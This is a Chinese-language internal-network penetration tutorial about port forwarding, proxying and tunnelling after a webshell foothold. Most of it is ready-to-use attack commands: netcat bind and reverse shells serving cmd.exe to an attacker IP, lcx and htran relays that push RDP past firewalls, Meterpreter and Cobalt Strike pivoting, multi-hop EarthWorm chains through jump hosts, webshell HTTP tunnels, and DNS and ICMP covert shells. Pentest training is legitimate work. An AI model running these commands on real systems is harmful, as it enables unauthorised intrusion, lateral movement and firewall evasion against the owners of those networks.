内网渗透-端口转发总结

当我们拿到了网站的webshell后进行提权,建立管理员帐号或者破解原有的管理员密码。紧接着开启目标服务器远程桌面,然而它却是处于内网的服务器。

如果目标主机处于内网,而我们又想和该目标主机进行通信的话,就需要借助一些工具来达到我们的目的。

转发,映射,代理

这几个概念其实是比较难区分的,特别是和后面的内网穿透混在一起,在宏观上说,他们差别不大。但是究其本质还是存在不小的差别的。现在就先对这几个概念说一下我个人的理解:

  • 转发: 转发是渗透中一种手段,是将一个网络端口从一个网络节点转发到另一个节点的行为。结果是使一个外网用户经过一个NAT路由器到达在内网IP地址某个端口。有时候也被称为隧道。
  • 映射: 映射也是渗透中的一种手段,端口映射就是将外网主机的IP地址的一个端口映射到内网中一台机器,提供相应的服务。其实很多时候转发和映射
  • 代理: 代理是一种结果,以端口转发和映射为技术基础。代理在很多场合是用在连接互联网的web服务上面,起到突破ip封锁,隐匿身份等作用。其原理是动态的端口转发。只需要本机和代理间建立一个隧道,然后代理就可以根据本机发起的请求去动态的获取出链的地址与端口。
  • 内网穿透: 内网穿透是目的,它使用的手段有包括端口转发和映射,或者直接使用代理这一结果。很多时候我们指的内网穿透场景是指攻击机与靶机处于处于不同的内网中,一些回弹shell之类的手段直接实现,因为IP地址无法相互建立连接。这个时候就需要使用一些内网穿透常见的工具。这些工具也是使用端口转发和映射或类似的方法来突破限制。

工具名称

主要用途

平台

备注

lcx

端口映射

Windows

只支持tcp协议的端口转发,非系统内置。linux下叫做可以实现端口转发和端口映射

netsh

端口映射

Windows

只支持tcp协议的端口转发,需要安装ipv6

rinetd

反向代理

Linux

非内置,需要自行安装

Earthworm

端口映射、Socks5代理

Linux、Windows、MacOS、Arm-Linux

非系统内置,可以十分方便的支持多级转发

frp

高性能的反向代理应用

go

基于反向代理,可以十分灵活的进行内网穿透,绕过防火墙

reGeorg

Socks5 代理

常见脚本语言

reGeorg利用webshell建立一个socks代理进行内网穿透,服务器必须支持aspx、php、jsp、js等web语言

Metasploit portfwd

端口映射

MSF -> Metpreter会话

需要网络状况较好

socat

端口映射

Linux

可能需要安装

Metasploit->socks4a

反向代理

MSF -> Metpreter会话

需要会话主机有外网代理IP

tunna

HTTP隧道

常见脚本语言

需脚本环境执行,并且不太稳定

localtuuel

内网公网映射

nodojs

和ngork一样可以实现内网到公网端口的映射

ngork

内网公网映射

go

可以选择自建服务器或则和使用工具自带的服务器

dns2tcp

DNS隧道

kaii内置

防火墙过滤内部tcp出站策略的情况下,走DNS隧道,,通过DNS流量中继TCP连接

Iodine

DNS隧道

linux

原理上和dns2tcp类似

icmpsh

ICMP隧道

需要root权限

需要禁止系统对icmp的相应,用工具来处理收发icmp包

端口转发工具

一、系统内置的转发工具

1.iptables NAT功能

由于linux主机出于安全考虑,系统参数/proc/sys/net/ipv4/ip_forward默认为0,所以是禁止NAT功能的,我们可以通过以下两种你方式修改系统运行时的参数。

临时方案
echo 1 >/proc/sys/net/ipv4/ip_forward
长期方案

运行vi /etc/sysctl.conf

找到下面的值并将0改成1
net.ipv4.ip_forward = 1

运行sysctl –p,使改动立即生效 。

下面是一个转发的示例

#1.1.1.1是公网ip,192.168.2.2内网ip

iptables -t nat -A PREROUTING  -p tcp -d 1.1.1.1 --dport 80 -j DNAT --to-destination 192.168.2.2:8080

iptables -t nat -A POSTROUTING -p tcp -s 192.168.2.2 --sport 8080 -j SNAT --to-source 1.1.1.1

service iptables save

这样就会使得访问1.1.1.1:80 映射到了192.168.2.2:8080端口。

2.NC反弹(NetCat)

正向连接
远程主机上开启监听

nc -l -p 5555 -e -t cmd.exe(-t是通过 telnet 模式执行 cmd.exe 程序,可以省略。)
kali(本地主机上)连接

nc -nvv 192.168.95.12(远程主机ip) 5555

成功后,本地主机就获得了远程主机的一个cmd shell。

反向连接
kali开启监听

nc -lnvp 7777

目标返向连接

nc -e cmd.exe 192.168.95.128 7777

成功后,本地主机就获得了远程主机的一个cmd shell。

3.SSH

这种代理方式需要比较高的权限(system/root)直接使用系统功能来开启内网代理的隧道,配置VPN都比较简单,这里不做赘述,我们看一看通过SSH隧道进行代理

#!bash

ssh -qTfnN -L port:host:hostport -l user remote_ip   #正向隧道,监听本地port

ssh -qTfnN -R port:host:hostport -l user remote_ip   #反向隧道,用于内网穿透防火墙限制之类

SSH -qTfnN -D port remotehost   #直接进行socks代理
参数详解:

-q Quiet mode. 安静模式

-T Disable pseudo-tty allocation. 不占用 shell 了

-f Requests ssh to go to background just before command execution. 后台运行,并推荐加上 -n 参数

-N Do not execute a remote command. 不执行远程命令,端口转发就用它了~

有时候,我们手边没有端口转发的工具,也可以通过ssh来做端口转发

#!bash

ssh -CfNg -L port1:127.0.0.1:port2 user@host    #本地转发

ssh -CfNg -R port2:127.0.0.1:port1 user@host    #远程转发

4.netsh

windows自带规则配置工具

添加一条规则:将远程的3389端口转发到本地的7777端口上

netsh interface portproxy add v4tov4 listenport=7777 connect=3389 connectaddress=192.168.93.10 protocol=tcp

查看转发规则:netsh interface portproxy dump

删除转发规则:netsh interface portproxy delete v4tov4 listenport=7777

二、非内置的端口转发工具

1.lcx

lcx-<listen|tran|slave> <option> [-log logfile][option:] 

-listen <监听端口> <转发端口>  

-tran<监听端口> <目标地址> <目标端口> 

-slave <目标主机> <目标端口> <本地主机><本机端口>
1.1内网机器上执行:
lcx.exe –slave 公网 IP + 端口 内网 IP + 端口

例如把内网主机192.168.1.521的 3389 端口转发到具有公网ip主机192.168.1.520的 4444 端口的命令为:

lcx.exe –slave 192.168.1.520 4444 192.168.1.521 3389
1.2公网主机 上执行
lcx.exe –listen 公网主机端口1 公网主机端口2

例如监听公网 4444 端口请求,并将 4444 的请求传送给 5555 端口的命令为:

lcx -listen 4444 5555
1.3Windows 命令行下输入mstsc,即可打开远程桌面连接

如果是在公网主机上操作,计算机那栏只需要输入 127.0.0.1:5555,即可;如果是在本地主机上操作,则输入公网主机ip:5555 ,然后输入用户名和密码,即可连接到内网主机。

1.4特殊情况

由于防火墙限制,部分端口如3389无法通过防火墙,此时可以将该目标主机的3389端口透传到防火墙允许的其他端口,如53端口,

目标主机上执行:

lcx -tran 53 目标主机ip 3389

这时我们可以直接远程桌面连接到到 目标主机IP:53

2.socat

socat这个端口转发我们其实更常用在ssrf构造payload的时候本地抓包,因为socat有记录转发流的功能。将socat作为中介捕获我们构造的payload包,然后进行进一步的操作,如gopher协议的构造。

#安装
yum install -y socat
apt install -y socat 

#TCP 
nohup socat TCP4-LISTEN:10000,reuseaddr,fork TCP4:1.1.1.1:10000

TCP4-LISTEN:10000  监听 ipv4 的 10000TCP 端口。 10000 改成你自己需要转发的端口
fork TCP4:1.1.1.1:10000  转发到 1.1.1.1 的 10000 端口,根据需求修改自行修改 ip 和端口
nohup 后台运行。可以把这个命令写到   /etc/rc.local 里面开机启动启动。

#UDP
nohup socat -T 600 UDP4-LISTEN:10000,reuseaddr,fork UDP4:1.1.1.1:10000

3.Metasploit socks4a

一组在实际渗透过程中的三件套:路由表+socks4a+proxychains。这样一来可以使用攻击机上的渗透工具,利用meterpreter session作为跳板,对内网进行渗透。下面的是流程。

1. 在反弹的shell中添加路由,如
run autoroute -s 192.168.122.0/24
2. 使用socks4a模块并设置端口
use auxiliary/server/socks4a
3. 配置proxychains

4.Meterpreter portfwd

在MSF渗透框架里面内置了端口转发的命令,在回弹了shell的条件下可以直接使用,下面式相关参数解析。

meterpreter > portfwd -h
Usage: portfwd [-h] [add | delete | list | flush] [args]


OPTIONS:

    -L <opt>  转发: 本地监听地址  反向: 本地主机连接到某个地址
    -R        表示正向反向端口
    -h        帮助信息
    -i <opt>  端口转发条目的索引与交互(请参阅“列表”命令)
    -l <opt>  转发:本地端口收听  反向:本地端口连接
    -p <opt>  转发:远程端口连接  反向:远程端口监听
    -r <opt>  转发:连接到远程主机
 
生成一个监听
portfwd add -l 1389 -r 192.168.93.10 -p 3389

查看已建立的规则: portfwd list

连接:rdesktop 192.168.0.108:1389 (此处是msf的地址)   
    
例子:
portfwd -L 127.0.0.1 -l 1212 -r 10.10.12.1 -p 3389  

portfwd -R -L 10.10.18.1 -l 8080 -r 10.10.12.1 -p 8877

5.rinetd

当外部主机是linux时,可使用其进行转发操作
lhost lport rhost rport

# 安装,注意到centos没有其默认的软件源,需要手动导入;ubuntu的比较方便
#centos 32
$ vim /etc/yum.repos.d/nux-misc.repo
[nux-misc]
name=Nux Misc
baseurl=http://li.nux.ro/download/nux/misc/el6/i386/
enabled=0
gpgcheck=1
gpgkey=http://li.nux.ro/download/nux/RPM-GPG-KEY-nux.ro

#centos 64
$ vim  /etc/yum.repos.d/nux-misc.repo:

[nux-misc]
name=Nux Misc
baseurl=http://li.nux.ro/download/nux/misc/el6/x86_64/
enabled=0
gpgcheck=1
gpgkey=http://li.nux.ro/download/nux/RPM-GPG-KEY-nux.ro

$ yum --enablerepo=nux-misc install rinetd

# ubuntu
$ apt-get install rinetd

#配置文件在/etc/rinetd.conf,配置参数格式
[bindaddress] [bindport] [connectaddress] [connectport]
绑定的地址    绑定的端口  连接的地址      连接的端口

[Source Address] [Source Port] [Destination Address] [Destination Port]
源地址            源端口         目的地址               目的端口

#举例
$ vim /etc/rinetd.conf

0.0.0.0 8080 172.19.94.3 8080
0.0.0.0 2222 192.168.0.103 3389
1.2.3.4 80 192.168.0.10 80
allow *.*.*.*
logfile /var/log/rinetd.log

#解释
0.0.0.0表示本机绑定所有可用地址
将所有发往本机8080端口的请求转发到172.19.94.3的8080端口
将所有发往本机2222端口的请求转发到192.168.0.103的3389端口
将所有发往1.2.3.4的80端口请求转发到192.168.0.10的80端口
allow设置允许访问的ip地址信息,*.*.*.*表示所有IP地址
logfil设置打印的log的位置

# 运行
#脚本启动
$ /etc/init.d/rinetd start

#二进制启动
$ /usr/sbin/rinetd -c /etc/rinetd.conf

#关闭(使用脚本,或则和pkill)
$ /etc/init.d/rinetd stop

6.ngrock

7.htran

绕过防火墙
方法1:htran.exe -p -tran lport lhost lport

方法2:htran.exe -p -slave rhost rport lhost lport portmap -m 2 -p1 xxxx -p2 xxxx
转发内网端口
方法1:htran.exe -p -tran lport rhost rport

方法2:

将本地(win2012)的3389转发到目标(win2008)的7777上

htran.exe -p -slave rhost(192.168.93.20) rport(7777) lhost(127.0.0.1) lport(3389)

在目标上(win2008)监听本地7777端口,转发到9999端口htran.exe -p -listen 7777 9999

attack 连接(win2008)9999端口,相当于连接了win2012的3389:rdesktop 192.168.0.106:9999

8.socat

转发内网端口

socket.exe TCP4-LISTEN:5555.reuseaddr.fork TCP4:192.168.93.10:3389

9.FPipe

转发内网端口
FPipe.exe -l lport -r rport rhost -v

网络代理工具

一、socks代理

1.cobaltstrike

cs生成一个客户端,将其拿到目标机器是上运行,拿到一个会话

然后进入交互模式

rportfwd 8888 rhost 3389

rportfwd stop 8888

2.Metasploit socks4a

一组在实际渗透过程中的三件套:路由表+socks4a+proxychains。这样一来可以使用攻击机上的渗透工具,利用meterpreter session作为跳板,对内网进行渗透。下面的是流程。

1.添加路由:run post/multi/manage/autoroute
2.查看路由:run autoroute -p
3.添加socks代理:use auxiliary/server/socks4a
4.使用代理链工具调用代理:proxychains rdesktop 192.168.93.10

3.EW

工具的地址: http://rootkiter.com/EarthWorm/

这是个国产的打洞神器,因为其方便的多级转发,支持反向代理等特性,在内网渗透领域可是响当当的。

该工具共有 6 种命令格式(ssocksd、rcsocks、rssocks、lcx_slave、lcx_listen、lcx_tran)。

正向代理
用法: 
WIN:ew_win32.exe -s ssocksd -l 1080

$ ./ew -s ssocksd -l 1080

流量走向:A <··> B:1080 <··> C

开启机器的1080端口做正向代理,我们可以通过链接该机器的1080端口进行端口代理转发。一般的场景为:kali 通过proxychain 链接开启了正向代理的公网ip。

反向代理
#公网主机A,ip假设为1.1.1.1
./ew -s rcsocks -l 1080 -e 8888 
# 目标机B
./ew -s rssocks -d 1.1.1.1 -e 8888

WIN:
公网主机winA流量转发,ip假设为1.1.1.1:
ew_win32.exe -s rssocks -l 1080 -e 8888
winB转发自身流量到A的8888端口:
ew_win32.exe -s rssocks -d 192.168.93.20 -e 8888

kali连接:proxychains rdesktop 192.168.93.10
        
流量走向:kali <··> A:1080 <··> A:8888 <··>B
多级转发

在前面的两个场景中,我们看到了rcsocks,ssocksd,rssocks这三个命令的使用。在多级转发中我们会见到另外三个命令的作用。他们就类似于中间件,负责隧道导流与串接。

#命令使用举例:
# lcx_listen 用在将本机的端口进行转发
$ ./ew -s lcx_listen -l  1080   -e 8888
# lcx_tran 将本机端口与目的ip地址的端口进行转发
$ ./ew -s lcx_tran   -l  1080   -f 2.2.2.3 -g 9999
# lcx_slave 作为奴隶,将本机直接可达的两个主机实体上的端口进行转发
$ ./ew -s lcx_slave  -d 1.1.1.1 -e 8888    -f 2.2.2.3  -g  9999

下面我们来看个实际渗透三级级联例子:

# 我们自己的VPS执行
$ ./ew -s rcsocks -l 1080 -e 8888

# 跳板机A执行
$ ./ew -s lcx_slave -d ip_A -e 8888 -f ip_B -g 9999

# 跳板机B执行
$ ./ew -s lcx_listen -l 9999 -e 7777

# 跳板机C执行
$ ./ew -s rssocks -d ip_B -e 7777

数据流向: SOCKS v5 -> 1080 -> 8888 -> 9999 -> 7777 -> rssocks。

4.Termite(白蚁)

添加代理:socks 1080
反弹一个shell:shell 7777

二、DNS代理

1.dnscat2

服务端执行:ruby dnscat2.rb --dns "domain=pentestlab,host=192.168.0.108" --no-cache
客户端连接:dnscat2-v0.07-client-win32.exe --dns server=192.168.0.108
    操作
    查看所有的会话:windows
        与指定会话交互:session -i
    得到一个shell:shell
        转到主界面:ctrl+z

2.iodine

https://github.com/yarrick/iodine

https://www.freebuf.com/articles/system/178214.html

备选,遇linux主机可一试

服务端执行:iodined -p 123456 -f -DD 192.168.0.108 abc.com
客户端:iodine -p 123456 -f -r -T TXT 192.168.0.108 abc.com

3.dns2tcp

https://pkgs.org/download/dns2tcp

http://pwdme.cc/2016/11/11/dns2tcp-dns-tunnel/

https://kali.tuisec.win/kalitools/dns2tcp_zh.html

https://www.aldeid.com/wiki/Dns2tcp

三、HTTP代理

1.ReDuh(不太好用)

java -jar reDuhClient.jar http://192.168.0.108/reduh.jsp

nc -w localhost 1010

[create Tunnel]1234:127.0.0.1:3389

2.Tunna(推荐使用reGeorg,Tunna不稳定。)

Tunna工具地址

把代理脚本上传到目标服务器,然后通过代理内网的某个端口,将敏感端口流量转发了外网的的某个端口,再通过本地连接外网的端口进行连接。

将代理脚本上传到目标服务器,在浏览器访问代理脚本是否被解析
python proxy.py -u http://192.168.0.108/conn.php -l 4444 -r 3389 -s -v --no-socks
本地执行:rdesktop 127.0.0.1:4444

3.reGeorg

reGeorg工具地址

Neo-reGeorg (支持客户端的加密)
    设置密码并生成隧道文件:python neoreg py generate -k Scantime

将隧道文件放到目标服务器的web目录,连接web服务器并建立本地socks代理:python neoreg.py -k scantime -u http://192.168.0.108/tunnel.php
    Socks连接工具连接本地

四、ICMP代理

1.icmpsh

运行前执行:sysctl -w net.ipv4.icmp_echo_ignore_all=1

服务端:icmpsh_m.py lhost rhost
客户端:icmpsh.exe -t serverhost